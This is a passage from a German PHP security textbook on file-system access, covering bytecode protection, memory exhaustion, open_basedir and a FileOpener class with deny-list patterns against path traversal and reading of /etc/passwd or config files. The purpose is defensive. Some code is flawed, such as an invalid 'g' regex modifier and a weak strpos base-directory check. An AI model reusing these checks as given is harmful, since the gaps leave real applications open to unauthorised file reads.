In der Funktion RemoveRandomHeader() wird die »dekodierte« Datei nicht wieder in ihrem Originalzustand unter dem gleichen Pfad gespeichert, und dies ist durchaus Absicht. Würde das aufrufende Skript unterbrochen, etwa weil es die max_execution_time überschritten hat, so entstünden gleich zwei grundsätzliche Probleme: 1. Das nächste Lesen mit der Funktion RemoveRandomHeader() würde zu ungültigen Daten führen, da unbeabsichtigt Teile der Nutzdaten als eigener Dateikopf interpretiert und abgeschnitten würden. 2. Ein Angreifer könnte die Datei im Originalzustand lesen, der gesamte Schutzmechanismus wäre unterlaufen.
221
Kapitel 7 Dateisystemzugriffe
Hinweis Von RemoveRandomHeader() wird lediglich ein Datei-Handle zurückgegeben, das von tmpfile() erzeugt wurde. Mit dieser Funktion ist allerdings garantiert, dass nach einem fclose()-Aufruf oder der Beendigung des Skriptes die Datei sofort wieder gelöscht wird und die geschützten Daten nicht mehr im temporären Verzeichnis für andere Prozesse zur Verfügung stehen. Noch besser wäre es – sofern die Weiterverarbeitung der Daten dies zulässt – ganz auf Dateien zu verzichten und die dekodierten Daten nur im Arbeitsspeicher (also in einer Stringoder Array-Variablen) vorzuhalten. Die Sicherheit weiter erhöhen kann man, in dem man die Nutzdaten innerhalb der verschleierten Datei zusätzlich noch verschlüsselt, siehe auch Abschnitt 7.1.1 Verschlüsselung auf Seite 218.
7.1.3
Skripte schützen
Sowohl Verschlüsselung als auch Verschleierung nützen nichts, wenn der Angreifer die Skripte auslesen und daraus den Code entnehmen kann, über den er wieder an die gültigen Nutzdaten gelangen kann. Für PHP-Skriptdateien gibt es allerdings keinen perfekten Schutz, doch dies ist durchaus natürlich: Dieses Problem besteht bei den meisten anderen Programmiersprachen auch, es ist mit Decompilern für viele Sprachen möglich, mehr oder weniger gut an den Originalquelltext zu gelangen und so neben dem EntwicklungsKnowhow auch sensitive Daten wie etwa Passwörter auszulesen. Allerdings kann man es einem Angreifer etwas erschweren, an den Quelltext der eigenen Skripte zu gelangen. Dafür kann der seit PHP Version 4.3 zur Verfügung stehende Bytecompiler verwendet werden. Dabei wird eine Skriptdatei in Bytecode – ähnlich dem Bytecode, der von Java und den .NET-Sprachen bekannt ist – verwandelt. Sie liegt dann binär und nicht mehr im Quelltext vor. Der so generierte Code kann in anderen Skripten relativ einfach durch include- und require-Anweisungen integriert werden. Allerdings ist es auch möglich, den Bytecode in Quelltext zurückzuverwandeln, ein unbefugter Dritter kann also aus dem Bytecode wieder an das Originalskript gelangen und somit an sensitive Daten (Passwörter zu Datenbanken, Verschlüsselungs-Keys usw.) gelangen.
Wichtig Der Bytecompiler gilt immer noch als experimentelle Erweiterung, obwohl er bereits seit Version 4.3 in PHP enthalten ist. Es ist zwar eher unwahrscheinlich, dass er wieder entfernt wird und somit nicht zur Verfügung steht, jedoch sollte vor jedem PHP-Update geprüft werden, ob diese Funktionen noch weiter genutzt werden können.
222
7.1 Wie greift PHP auf Dateien zu?
Dieses Paket ist allerdings nicht Teil der PHP-Distribution, sondern steht innerhalb der PECL zur Verfügung und kann über das mit PHP installierte pecl-Tool installiert werden. Da der bcompiler allerdings im Moment noch den Status »beta« hat, funktioniert ein direkter Aufruf von pecl install bcompiler nicht, der Channel muss manuell spezifiziert werden: pecl install channel://pecl.php.net/ bcompiler-0.8. Für Windows funktioniert diese Methode leider nicht, auf der anderen Seite steht auch keine binäre Windows-Version zur Verfügung, es muss also unter Windows kompiliert werden. Die Sourcen finden Sie dabei unter http://pecl.php.net/ package/bcompiler/0.8 zum Download. Es steht sowohl ein Makefile für GCC als auch eine DSP-Datei für Microsoft Visual C 6.0 zur Verfügung. Für eine erfolgreiche Kompilierung werden auf jeden Fall auch die PHP-Quellen benötigt! Danach muss die Extension noch mit extension=bcompiler.so (für Windows lautet die Zeile extension=bcompiler.dll) innerhalb der php.ini geladen werden. Stellen Sie allerdings sicher, dass sich diese Datei innerhalb des in extension_dir spezifizierten Verzeichnisses befindet. Im folgenden Beispiel wird nun die Quelldatei crypt.php zu crypt_byte.php konvertiert:
Da es theoretisch möglich ist, mehrere Quelldateien innerhalb eines BytecodeModuls zu speichern, muss vor der ersten einzusetzenden PHP-Datei der Kopf und nach der letzten Quelldatei der Fuß zur Zieldatei angefügt werden. Die entstandene Datei liegt nun zwar im binären Format vor, kann jedoch ohne Umstellungen direkt mit include und require in andere Skripte eingebunden werden. Zudem lässt sich diese Datei natürlich auch direkt mit dem PHP-Interpreter starten. Damit dies allerdings mit einem Webserver auch gewährleistet ist, sollten sie den bytecode-codierten Dateien keine alternative Dateiendung geben, da diese sonst nicht geparst werden (siehe Abschnitt 3.5.1 Ungeparste Dateiendung auf Seite 67). Positiv ist, dass es im Moment keine Möglichkeit gibt, von der codierten Datei auf den originalen Quelltext zu gelangen. Die Funktionen bcompiler_load() und bcompiler_read() inkludieren den Code lediglich innerhalb der aktuellen PHP-
223
Kapitel 7 Dateisystemzugriffe
Sitzung, mit geschickten Aufrufen von get_defined_classes(), get_declared_functions(), get_declared_vars() und den Reflection-Funktionen lässt sich allerdings zumindest herausfinden, welche Klassen im Bytecode vorhanden sind, und welche Funktionen dort bereitgestellt werden. Ein Angreifer könnte also unter Umständen zumindest diese Methoden und Klassen für seine eigenen Zwecke missbrauchen. Allerdings ist es auch absehbar, dass es über kurz oder lang eine Erweiterung geben wird, die es ermöglicht, den Sourcecode (wenn auch nicht den originären, dann doch einen, der zumindest dieselbe Funktionalität liefert) aus einer geladenen Klasse oder Funktion auszugeben. Das PECL-Modul runkit ist hier auf einem sehr guten Weg. Bytecode bietet auch keine Sicherheit, wenn es keinen Decompiler dafür gibt: Ein Blick in eine solche Datei verrät, dass nicht alles in reine Bytesequenzen umgewandelt wird. Funktionsnamen beispielsweise finden sich dort im Klartext wieder, dies gibt zumindest einen Ansatzpunkt für einen Angreifer, auf welche Funktionen er sich zur Erreichung seines Ziels stützen sollte. Bytecode-Dateien beinhalten zudem einen Overhead, sind also stets etwas größer als die Originaldatei. Trotz allen Gefahren ist die Erzeugung von Bytecode ein guter Anfang, um seinen originären Quellcode zu verschleiern und ihn vor Augen Dritter zu schützen.
7.2
Angriff auf dateibasierte Webanwendungen
Eine Gefahr geht allerdings innerhalb von dateibasierten Systemen nicht nur davon aus, dass ein Angreifer versuchen kann, an sensitive Daten zu gelangen. Brisant ist es auch, wenn Dateizugriffe die Stabilität des gesamten Serversystems gefährden. Wie sehr ein System von Dateisystemzugriffen beeinträchtigt werden kann, hängt in erster Linie einmal davon ab, über welche Funktionen der Zugriff erfolgt. Zum Lesen einer Datei stellt PHP bereits viele Möglichkeiten zur Verfügung: 쐽
Jede dieser Zugriffsmethoden soll einmal hinsichtlich der möglichen Probleme und Gefahren beleuchtet werden.
224
7.2 Angriff auf dateibasierte Webanwendungen
7.2.1 Vollständiges Auslesen Mit den Funktionen file_get_contents() und file() kann eine Datei mit einer einzelnen Anweisung direkt ausgelesen werden. Diese zwei Funktionen haben alle einen wesentlichen Vorteil: Ihnen kann der Pfad einer Datei direkt übergeben werden, ein Aufruf von fopen() vor dem Lesevorgang und ein fclose() danach ist nicht notwendig – die Daten können also mit einer einzelnen Codezeile gelesen werden. Grundsätzlich bietet diese Funktion auch eine Basissicherheit: Ist die Datei zu groß und PHP müsste für das Vorhalten der Daten im Arbeitsspeicher mehr Speicher reservieren, als in der Einstellung memory_limit spezifiziert ist, so wird dies entweder gar nicht erst versucht oder in dem Moment abgebrochen, in dem diese Grenze überschritten wird. Dabei gilt es zu beachten: Wird ein Limit von 16 Megabyte definiert, bedeutet dies nicht, dass man auch eine 16-MB-große Datei laden kann, PHP benötigt den Speicher natürlich auch für andere Operationen und zudem entsteht beim Laden der Daten in ein Array oder eine einzelne String-Variable ein Overhead, der ebenfalls mit abgedeckt werden muss. So ist es auch möglich, dass für das Laden einer 80-MB-großen Datei insgesamt ca. 100 MB benötigt werden. Diese Speicherbegrenzung bezieht sich jedoch nicht ausschließlich auf ein einzelnes Skript, sondern vielmehr auf eine PHP-Sitzung. Werden innerhalb des gleichen Skriptes zwei Dateien geladen (dies betrifft dann auch Ladevorgänge, die in inkludierten Skripten vorgenommen werden), teilt sich unter Umständen der verfügbare Speicher auf beide Dateien auf. Dies hängt allerdings zusätzlich davon ab, wo und wie lange die Daten jeweils im Speicher vorgehalten werden. Wird eine Datei lediglich innerhalb einer Funktion geladen und in einem Array verarbeitet, und werden die Daten außerhalb dieser Funktion nicht mehr verwendet, so wird PHP beim Verlassen der Funktion den benötigten Speicher wieder freigeben. Ein kleines Skript soll dies verdeutlichen:
225
Im verwendeten Beispiel1 ist die Datei test.dat ca. 84 MB groß (dies ist sekundär, allerdings sind bei dieser Dateigröße Unterschiede im Speicherverbrauch wesentlich besser zu erkennen als bei relativ kleinen Dateien). Dabei erzeugt das Skript folgende Informationen über den Speicherverbrauch während der Skript-Laufzeit: Start. Speicherverbrauch: 44,340 Byte loadfile(), vor Ladevorgang. Speicherverbrauch: 44,480 Byte loadfile(), nach Ladevorgang. Speicherverbrauch: 88,648,732 Byte Nach Funktionsaufruf. Speicherverbrauch:": 44,920 Byte loadfile(), vor Ladevorgang. Speicherverbrauch: 44,968 Byte loadfile(), nach Ladevorgang. Speicherverbrauch: 88,648,864 Byte Nach Funktionsaufruf. Speicherverbrauch: 88,648,864 Byte Nach unset(). Speicherverbrauch: 44,968 Byte
Selbst nach dem Verlassen der Funktion und somit der automatischen Freigabe des Speichers erlangt man nie die gleiche freie Speichermenge wie zu Beginn. Allerdings wird diese Menge, nachdem eine bestimmte Funktion aufgerufen wurde, stabil – mehrmalige Aufrufe führen nicht zu erhöhtem Speicherbedarf. Es ist also zu empfehlen, sofern das Laden von vielen Dateien innerhalb eines Skriptes notwendig ist, alle Dateien über eine einzelne Funktion auslesen zu lassen und die Verarbeitung auch möglichst zentral durchzuführen. Nach dem kleinen Ausflug in die interne Speicherverwaltung von PHP zurück zu file_get_contents(). Mit memory_limit kann zwar verhindert werden, dass ein Skript zu große oder zu viele Dateien lädt bzw. überhaupt mit einer zu hohen 1
226
Das Beispiel funktioniert nur, wenn memory_limit entsprechend hoch eingestellt ist!
7.2 Angriff auf dateibasierte Webanwendungen
Datenmenge umgeht, jedoch besteht hier erneut das Problem des laufzeitgestützten Interpreters. memory_limit gilt für ein Skript. Wird in einem weiteren Aufruf das Skript parallel gestartet, beginnt dessen Speicherverbrauch natürlich von Neuem. Das hat zur Folge, dass bei paralleler Ausführung zwar jedes Skript für sich innerhalb seiner begrenzten Speichermenge bleibt, jedoch dennoch der Arbeitsspeicher des Systems überstrapaziert werden kann. Ein kleines Rechenbeispiel dazu: Das Beispielsystem hat 256 MB Arbeitsspeicher, von dem das System selbst grundsätzlich 100 MB benutzt, es stehen also noch 156 MB zur Verfügung. Das memory_limit von PHP ist auf 64 MB festgelegt, da ein Skript eine relativ große Datei von ca. 60 MB laden muss und den Inhalt dieser Datei immer zur Ausgabe bringt. Diese Ausgabe soll dabei formatiert in einer HTML-Tabelle erfolgen; nach dem Einlesen mit file_get_contents() wird also das gesamte Array Element für Element in einer Schleife durchgegangen und eine Tabellenzeile an den Client übermittelt. Hat das Array – oder vielmehr die Datei – viele Zeilen, so wird die Abarbeitung der Schleife eine gewisse Zeit in Anspruch nehmen. Während dieser Zeit werden ca. 60 MB Speicher durch das Skript belegt. Wird dieses Skript nun von einem Client aufgerufen, so steigt der Speicherverbrauch des Systems von 100 MB auf 160 MB an. Greift nun zeitgleich ein anderer Client ebenfalls auf dieses Skript zu, während die erste PHP-Sitzung noch mit der Ausgabe beschäftigt ist und somit noch Speicher belegt, benötigt PHP weiter 60 MB RAM, insgesamt werden also 220 MB Speicher verbraucht, es bleiben also nur noch 36 MB »übrig«. Möchte nun noch ein dritter Client auf das Skript zugreifen, würden weitere 60 MB benötigt, um jedoch die Differenzmenge von 60 MB – 36 MB = 24 MB zu erhalten, muss das System momentan nicht benötigte Daten aus dem Arbeitsspeicher auslagern. Dies hat erst einmal eine Verzögerung zur Folge: das Kopieren aus dem schnellen RAM auf eine verhältnismäßig langsame Festplatte dauert. An und für sich ist es nur »natürlich«, wenn Daten, die momentan nicht im Arbeitsspeicher benötigt werden, ausgelagert werden. Jedoch entsteht hier mit PHP-Skripten, die Zugriff auf große Datenmengen benötigen, ein Teufelskreis. Solange ein solches Skript aktiv ist – diese Zeit wird vor allem durch die Verarbeitung in Schleifen oder die Ausgabe an »langsame« Clients verlängert – belegt es diese Speichermenge, wird das Skript ein weiteres Mal gestartet verdoppelt sich zeitweise der Speicherbedarf. Jedoch ist ein Webserver kein isoliertes System, es wird parallel wahrscheinlich noch von anderen Clients auf ganz andere Skripte zugegriffen, die ebenfalls Speicher benötigen, zudem laufen im Hintergrund Prozesse, die gelegentlich neuen Speicher anfordern (wenn beispielsweise der Webserver aufgrund hoher Auslastung eine neue Instanz erzeugen muss, kann dies unter Umständen schon einmal einen zusätzlichen Bedarf von 60 MB zur Folge haben). Ist man einmal in dieser Situation des Auslagerns und es wird neuer Speicher benötigt, wird das System immer langsamer, da es mehr und mehr damit beschäf-
227
Kapitel 7 Dateisystemzugriffe
tigt ist, Daten auf die Platte zu kopieren. Fordert gleichzeitig ein Programm bereits ausgelagerte Daten vom Betriebssystem wieder an, so müssen diese wieder von der Festplatte in den Arbeitsspeicher verschoben werden, und dazu ist dann eventuell nötig, andere Daten auf die Festplatte zu kopieren. Dies kann auf einem sehr stark ausgelasteten System dazu führen, dass Prozesse abgebrochen werden, da ihre Reaktionszeit zu groß ist – eventuell fällt das System sogar ganz aus.
Wichtig Generell sollte ein stark ausgelastetes System mit viel Arbeitsspeicher, schnellen Festplatten und einer Auslagerungspartition, die mindestens doppelt so groß wie der Arbeitsspeicher ist, ausgestattet sein. Die Gefahr eines Ausfalls durch zu großen Speicherverbrauch lässt sich nie ganz vermeiden, jedoch kann die Problematik, die von PHP hier ausgeht, in dem ein Skript mit hohem Speicherbedarf (durch das Laden von Dateien), etwas minimiert werden, beachten Sie hierzu den Abschnitt 7.1.1 Verschlüsselung auf Seite 218.
7.2.2 Direkte Ausgabe Mit den Funktionen readfile() und fpassthru() kann eine vollständige Datei oder ein bestimmter Teil einer Datei direkt ausgegeben werden. Ist etwa ein Client über einen Webserver verbunden, erfolgt die Ausgabe an ihn, ansonsten an die definierte Standardausgabe stdin.
Wichtig Im Folgenden wird das Verhalten von readfile() beschrieben; für die Funktion fpassthru() gelten allerdings die gleichen Hinweise! readfile() selbst ist ein effizienter Weg, um eine Datei an einen Client auszuge-
ben. Diese Funktion ist ideal, um etwa ein Downloadskript zu realisieren: Es ist lediglich notwendig, einen Content-type-Header vor dem Aufruf von readfile() zu übermitteln, damit der Client den Typ der ankommenden Daten kennt. Danach wird readfile() die Datei auslesen und an die Ausgabe übermitteln. Diese Funktion liest dabei blockweise die Daten ein (jeder Block hat exakt 8 KB = 8.192 Bytes, sofern diese Datenmenge noch in der auszulesenden Datei vorhanden ist). Aufgrund dieser Menge und des blockweisen Auslesens steigt der Speicherbedarf während dieser Funktion kaum an, da die vorher ausgelesenen Daten nicht mehr im Speicher vorgehalten werden müssen. Durch dieses Vorgehen kann auch eine relativ große Datei ohne Probleme an einen Client übermittelt werden, man muss sich also keinerlei Sorgen um das memory_limit machen. Allerdings bedeutet das auch, dass das Laden einer relativ
228
7.2 Angriff auf dateibasierte Webanwendungen
großen Datei dafür auch einige Zeit in Anspruch nimmt. Verschärft wird dies zudem durch die Tatsache, dass jeder 8-KB-Block erst vollständig an den Client übermittelt wird, bevor der nächste Block eingelesen wird. Bei einem Client mit einer geringen Netzwerkbandbreite bzw. einer großen Netzwerkauslastung des Servers erhöht sich die Laufzeit des Skripts dramatisch. Dadurch können ganz andere Probleme entstehen: Das Übermitteln einer großen Datei kann eventuell nicht abgeschlossen werden, da die max_execution_time durch das Skript überschritten wird. Des Weiteren wird während der Übertragung eine Verbindung des Webservers blockiert. Finden viele gleichzeitige Übertragungen von Dateien statt, nimmt der Webserver eventuell keine neuen Verbindungen mehr an, da die Anzahl maximal zulässiger Verbindungen überschritten wurde (beim Apache-Webserver wird dies beispielsweise durch die Einstellung MaxClients beeinflusst). Problematisch ist es allerdings, wenn Dateien über readfile() ausgeliefert werden sollen, die auch von PHP schreibend verändert werden. Wird eine Datei – etwa eine Text-Datei – an mehreren Stellen verändert, während sie zeitgleich ausgelesen wird, so wird readfile() nur die Änderungen ausliefern, die nach der aktuellen Leseposition kommen. Dies kann zu inkonsistenten Daten führen. Um dies zu verhindern, kann beispielsweise die Funktion flock() genutzt werden.
7.2.3 Zeilen/-blockweises Auslesen Mit den Funktionen fgets(), fgetss(), fread(), fgetc(), fgetcsv() und fscanf() wird eine Datei nicht insgesamt, sondern block- bzw. zeilenweise eingelesen. Diese Technik wird – um etwa dennoch eine vollständige Datei einzulesen – in Schleifen benutzt. Sofern es sich um blockorientierte oder zeilenbasierte Dateien handelt, kann die Verarbeitung eines Datensatzes (oder eben einer Zeile) innerhalb des aktuellen Schleifendurchganges erfolgen. Dabei wird lediglich immer soviel Speicher zusätzlich belegt, wie der aktuelle Block groß ist. Dadurch lässt sich schon einmal die Gefahr von zu hohem Speicherbedarf minimieren (siehe Abschnitt 7.2.1 Vollständiges Auslesen auf Seite 225); allerdings ist dieser Blockzugriff durch eine große Anzahl von Festplattenzugriffen gekennzeichnet, was ein Skript verlangsamen kann.
7.2.4 Vollständiges Speichern Analog zu file_get_contents() gibt es die Funktion file_put_contents(), womit sich ein String oder ein eindimensionales Array mit einem Aufruf in eine Datei schreiben lässt. Dabei ist es nicht erforderlich, erst ein Datei-Handle zu öffnen und es nach der Speicherung zu schließen – diese Aufgaben übernimmt file_put_contents().
229
Kapitel 7 Dateisystemzugriffe
Diese Funktion ist heikel, wenn die gleiche Datei mit readfile() oder ähnlichen Methoden auch durch PHP oder andere Prozesse gelesen wird; für diesen Fall sollte unbedingt das Flag lock_ex beim Aufruf von file_put_contents() verwendet werden, um einen parallelen Zugriff zu verhindern. Vor einer Benutzung dieser Funktion sollte auch der zur Verfügung stehende Speicherplatz geprüft werden (disk_free_space()), denn file_put_contents() führt diese Prüfung nicht durch: Es schreibt so viele Daten auf das Medium wie es kann. Dies kann auch zu unvollständig gespeicherten Dateien führen.
7.2.5 Blockweises Speichern fwrite(), fputs() und fputcsv() ermöglichen es, Dateien zeilen- oder block-
weise zu schreiben. Hier gilt es ebenfalls zu beachten, dass vorher mit disk_free_space() geprüft werden sollte, ob genug Speicherplatz auf dem Ziel-
medium vorhanden ist. Ist allerdings nur mit großen Aufwand – etwa Iterationen – zu ermitteln, wie viel Speicherplatz überhaupt benötigt wird, so empfiehlt es sich, die Daten erst in eine temporäre Datei (einen Dateinamen erhalten Sie mit tempnam()) zu schreiben und bei Erfolg diese Datei mit rename() zu ihrem Zielort zu verschieben und umzubenennen; ist hingegen nicht genug Speicherplatz vorhanden, um alle Daten zu schreiben, kann die Datei einfach gelöscht werden.
7.3
Pfade und ihre Tücken
PHP ist eine sehr universelle Sprache, mit der es auch – wie in anderen Sprachen auch – möglich ist, erst zur Laufzeit zu bestimmen, auf welche Dateien zugegriffen werden soll. Erst durch diese Flexibilität werden Anwendungen (egal ob klassische oder Webanwendungen) wirklich brauchbar. Gefährlich wird diese Einfachheit allerdings bei PHP, da der Interpreter hier eine weitgehend regelfreie Schnittstelle zwischen zwei grundlegend verschiedenen Systemen darstellt: 쐽
Der Server, auf dem PHP betrieben wird
쐽
Die Außenwelt, von der zumeist ohne wirklich sichere Authentifizierung zugegriffen werden kann. Absichtlich ist hier nicht vom Internet die Rede. Bereits eine Konsole oder gar eine Anforderung aus dem Intranet stellt die Außenwelt dar und kann starke Gefahren bergen. Keineswegs sollte man beispielsweise Zugriffe aus dem LAN als sicher ansehen: Ein Angreifer muss sich nur mit diesem Netzwerk verbinden und PHP wird ihm wahrscheinlich Zugriff gewähren (wenn nicht gerade die systeminterne Firewall nur Zugriffe von freigeschalteten Netzwerkgeräten erlaubt).
Besondert stark offenbart sich das Gefahrenpotenzial, wenn Daten und Dateien des Serversystems von außen verändert oder ausgelesen werden können. Dabei ist der
230
7.3 Pfade und ihre Tücken
Weg des Zugriffs nicht immer offensichtlich, jedoch gibt es viele Wege, um mit PHP auf sensitive Daten zuzugreifen, diese zu verändern oder deren Inhalt an einen Client zu übertragen, ohne dass dies jemals die Absicht des Programmierers der jeweiligen PHP-Skripte war. Neben der klassischen Ausnutzung von Bugs in PHP-Befehlen und Bibliotheken, die von PHP für verschiedene Erweiterungen und Funktionen genutzt werden, sind besonders Dateizugriffe jeder Art innerhalb einer PHP-Anwendung zu beachten. Das Problem liegt dabei nicht einmal in den Zugriffen auf Dateien selbst, sondern vielmehr in den Pfaden, die zum Öffnen verwendet werden: Es sollte stets genau geprüft werden, welche Werte ein Pfad annehmen kann, bevor er an Funktionen wie file_put_contents(), file_get_contents(), readfile(), fopen() und andere übergeben wird. Doch nicht nur Pfade, die innerhalb von PHP generiert werden, sind brisant: Auch die Möglichkeiten, die die Dateisysteme der verschiedenen Betriebssysteme bieten, sind nicht ungefährlich – Links innerhalb eines Verzeichnisses können auch für Kopfzerbrechen sorgen. Die beste Vorgehensweise wäre es theoretisch, keine Pfade von außen zuzulassen. Doch meist lässt sich das nicht verhindern: Ein CMS oder gar ein auf PHP basiertes Fotoalbum wäre eine sehr starre Anwendung, wenn nur Bilder zulässig sind, deren Pfade fest in die PHP-Skripte eincodiert wären. Selbst wenn die Pfade zu Dateien nicht von außen kommen (siehe Abschnitt 7.4 Dateiangaben als Parameter auf Seite 237), sondern aus einer Datenbank oder einer Text- oder XML-Datei stammen, ist dies keine Garantie, dass dies alles legitime Dateien sind. Bereits eine Dateitypprüfung mit der fileinfo-Bibliothek (http://pecl.php .net/package/Fileinfo) kann schon scheitern: Gelten Textdateien als legitim und sollen durch einen Client heruntergeladen werden können, wird eine Prüfung von /etc/passwd ebenfalls ergeben, dass dies eine Textdatei ist – obwohl eine Auslieferung dieser Datei nicht beabsichtigt ist. Die schwerwiegendsten Probleme lassen sich in PHP bereits mit einer open_basedir-Direktive beseitigen: Einem PHP-Skript ist es danach nicht möglich, außerhalb des spezifizierten Verzeichnisses zu arbeiten; diese Einstellung kann nicht von einem Skript mit ini_set() oder mit Methoden wie .htaccess geändert werden, sie ist also eine recht sichere Variante. Durch das Einsetzen dieser Direktive kann beispielsweise ein Zugriff auf /etc/passwd verhindert werden. Um erfolgreich mit open_basedir zu arbeiten, sollten jedoch folgende Verzeichnisse in dem angegeben Pfad enthalten sein: 쐽
das zugelassene Arbeitsverzeichnis selbst
쐽
das Erweiterungsverzeichnis von PHP (z.B. /usr/local/php/lib/php/) – ansonsten stehen eventuell PECL- oder PEAR-Bibliotheken nicht zur Verfügung
쐽
das Upload-Verzeichnis, das in der php.ini in der Option upload_tmp_dir definiert wurde, damit ein Zugriff auf hochgeladene Dateien möglich ist
231
Kapitel 7 Dateisystemzugriffe
Die Konfigurationsanweisung kann in der php.ini z.B. so aussehen: open_basedir = /www:/usr/local/php/lib/php:/tmp/upload
Wird diese Option pro VirtualHost-Block innerhalb eines Apache-Servers konfiguriert, kann dies innerhalb der Webserverkonfiguration etwa so aussehen: php_admin_value open_basedir /www:/usr/local/php/lib/php:/tmp/upload
Wichtig Das Trennzeichen zwischen den Verzeichnissen ist unter Linux und Unix der Doppelpunkt, unter anderen Betriebssystemen kann dies ein anderes sein (z.B. Windows: Semikolon). Der Wert der Einstellung muss dann entsprechend angepasst werden. Allerdings ist open_basedir immer noch kein Freifahrtschein. Für einen Angreifer können bereits die Dateien der PHP-Anwendung selbst sehr interessant sein, etwa wenn es sich um Dateien handelt, in denen Passwörter für Administrationsbereiche oder Datenbanken enthalten sind. Um einen Zugriff auf solche Dateien zu unterbinden, empfiehlt es sich, eine Funktion zu schreiben, die Dateien zentral öffnet und ein Datei-Handle – oder den Inhalt der Datei – zurückgibt. Innerhalb dieser Funktion kann dann zentral eine Liste von Dateien und Verzeichnisses angelegt und gegen den angeforderten Pfad geprüft werden, um den Zugriff auf zugelassene Dateien zu beschränken. Eine solche Funktion kann unter PHP 5 am besten als Klasse realisiert werden, im Folgenden wird dabei die Liste der verbotenen Dateien als Array von fnmatch()Ausdrücken geführt, was den Ausschlusskriterien noch mehr Flexibilität verleiht.
function __construct($basedir, $debug = false) { $this->topdir = realpath($basedir); // PHP-Dateien ausschließen $this->deniedPaths[] = dirname(realpath($basedir)).'/*.php'; // Versteckte Dateien ausschließen
232
7.3 Pfade und ihre Tücken
$this->deniedPaths[] = dirname(realpath($basedir)).'/.*'; $this->deniedPaths[] = dirname(realpath($basedir)).'/tmp/*'; if(strlen(dirname(realpath(ini_get('upload_tmp_dir'))))>0) $this->deniedPaths[] = dirname( realpath(ini_get('upload_tmp_dir'))).'/*'; if(strlen(dirname(realpath(session_save_path())))>0) $this->deniedPaths[] = dirname(realpath(session_save_path())).'/*'; $this->dbgmode = $debug; if($this->dbgmode) print_r($this->deniedPaths); } function fopen($file, $mode) { $filedir = dirname(realpath($file)); $filepath = realpath($file); if($this->dbgmode) echo "\r\n\n\n\n$file in $filepath wird geöffnet ". "(Verzeichnis: $filedir)\r\n"; // Datei unterhalb des Basisverzeichnisses? if(strpos($filedir, $this->topdir)===false) { if($this->dbgmode) echo "$filepath [$file] in $filedir: befindet sich NICHT unterhalb ". "von ".$this->topdir."!\r\n"; return null; } else { // Prüfung gegen $deniedPaths-Einträge foreach($this->deniedPaths as $deniedPath) { if($this->dbgmode) echo "Prüfe gegen: $deniedPath\r\n"; if(fnmatch($deniedPath, $filepath)) { if($this->dbgmode) echo "$filepath [$file]: fnmatch() zu $deniedPath führt ". "zu erfolgreichen Ergebnis!!\r\n"; return null; } } return fopen($filepath, $mode);
233
Kapitel 7 Dateisystemzugriffe
} } } ?>
Listing 7.1:
Prüfung der Dateinamen
Wichtig fnmatch() kann unter Windows nicht verwendet werden.
Eine solche Klasse lässt sich dennoch unter Windows verwenden, indem man etwa auf reguläre Ausdrücke setzt:
function __construct($basedir, $debug = false) { $this->topdir = realpath($basedir); $basedirquoted = preg_quote(dirname(realpath($basedir)).'\\'); // PHP-Dateien ausschließen $this->deniedPaths[] = '/'.$basedirquoted.'.*'. preg_quote('.php').'$/ig'; // Versteckte Dateien ausschließen $this->deniedPaths[] = '/'.$basedirquoted.'\..*$/i'; $this->deniedPaths[] = '/^'.$basedirquoted.'tmp\\\\/ig'; if(strlen(dirname(realpath(ini_get('upload_tmp_dir'))))>0) $this->deniedPaths[] = '/^'.preg_quote(dirname(realpath( ini_get('upload_tmp_dir')))).'\\\\/ig'; if(strlen(dirname(realpath(session_save_path())))>0) $this->deniedPaths[] = '/^'.preg_quote(dirname(realpath( session_save_path()))).'\\\\/ig'; $this->dbgmode = $debug; if($this->dbgmode) print_r($this->deniedPaths); }
234
7.3 Pfade und ihre Tücken
function fopen($file, $mode) { $filedir = dirname(realpath($file)); $filepath = realpath($file); if($this->dbgmode) echo "\r\n\n\n\n$file in $filepath wird geöffnet ". "(Verzeichnis: $filedir)\r\n"; // Datei unterhalb des Basisverzeichnisses? if(strpos($filedir, $this->topdir)===false) { if($this->dbgmode) echo "$filepath [$file] in $filedir: befindet sich NICHT unterhalb ". "von ".$this->topdir."!\r\n"; return null; } else { // Prüfung gegen $deniedPaths-Einträge foreach($this->deniedPaths as $deniedPath) { if($this->dbgmode) echo "Prüfe gegen: $deniedPath\r\n"; if(preg_match($deniedPath, $filepath)>0) { if($this->dbgmode) echo "$filepath [$file]: fnmatch() zu $deniedPath führt ". "zu erfolgreichen Ergebnis!!\r\n"; return null; } } return fopen($filepath, $mode); } } } ?>
Listing 7.2:
Prüfung der Dateinamen mit regulären Ausdrücken
Beachten Sie: Für Windows muss das Verzeichnistrennzeichen vom Slash zum Backslash geändert werden – dies gilt auch für das folgende Beispiel. Bei den regulären Ausdrücken ist dann zu beachten, dass eine Folge von vier Backslashes notwendig ist, da der Backslash innerhalb des regulären Ausdrucks escaped werden muss. Diese beiden Backslashs müssen aber für den String auch wieder escaped werden, damit das nächste Zeichen nicht als Steuerzeichen interpretiert wird.
235
Kapitel 7 Dateisystemzugriffe
Diese Klasse – egal ob mit fnmatch() oder regulären Ausdrücken realisiert – kann natürlich beliebig erweitert werden. Ein kleiner Test soll die Effizienz noch verdeutlichen: fopen($file, "r"); if($fh!=null) { echo "$file geöffnet!\r\n"; fclose($fh); } else echo "fopen of $file failed!\r\n"; } ?>
Listing 7.3:
Beispiel zur Nutzung des FileOpener
Die Ausgabe überzeugt: Lediglich test.dat lässt sich erfolgreich öffnen. fopen_test.php selbst lässt sich nicht öffnen, denn es stimmt mit einem Ausschluss-Kriterium überein (es soll nicht möglich sein, PHP-Dateien zu öffnen), die letzten beiden Pfade liegen immer außerhalb des spezifizierten Basisverzeichnisses. Diese Klasse macht nebenbei eines deutlich: Bevor ein Pfad überhaupt verwendet wird, sollte er unbedingt mit realpath() zu einem absoluten Pfad verwandelt werden. Nur so ist garantiert, das hier nicht Dateisystem-Links oder endlos lange /..Kolonnen innerhalb eines Pfades auf Dateien und Verzeichnisse zugreifen, die für die freie Verwendung nicht freigegeben sind. Für Unix/Linux beseitigt die Funktion fopen() aus dieser Klasse noch ein Problem: Der Zugriff auf Geräte unterhalb des Verzeichnisses /dev oder auf Systeminformationen unterhalb von /proc wird von vornherein verboten, da diese Pfade außerhalb eines möglichen Basisverzeichnisses liegen. Für Windows und andere Betriebssysteme, die Hardware über andere Wege adressieren (etwa COM1:), muss die Funktionalität entsprechend angepasst werden (hier ist es sogar ausreichend, entsprechende Muster (*:) in $deniedPaths aufzunehmen.
236
7.4 Dateiangaben als Parameter
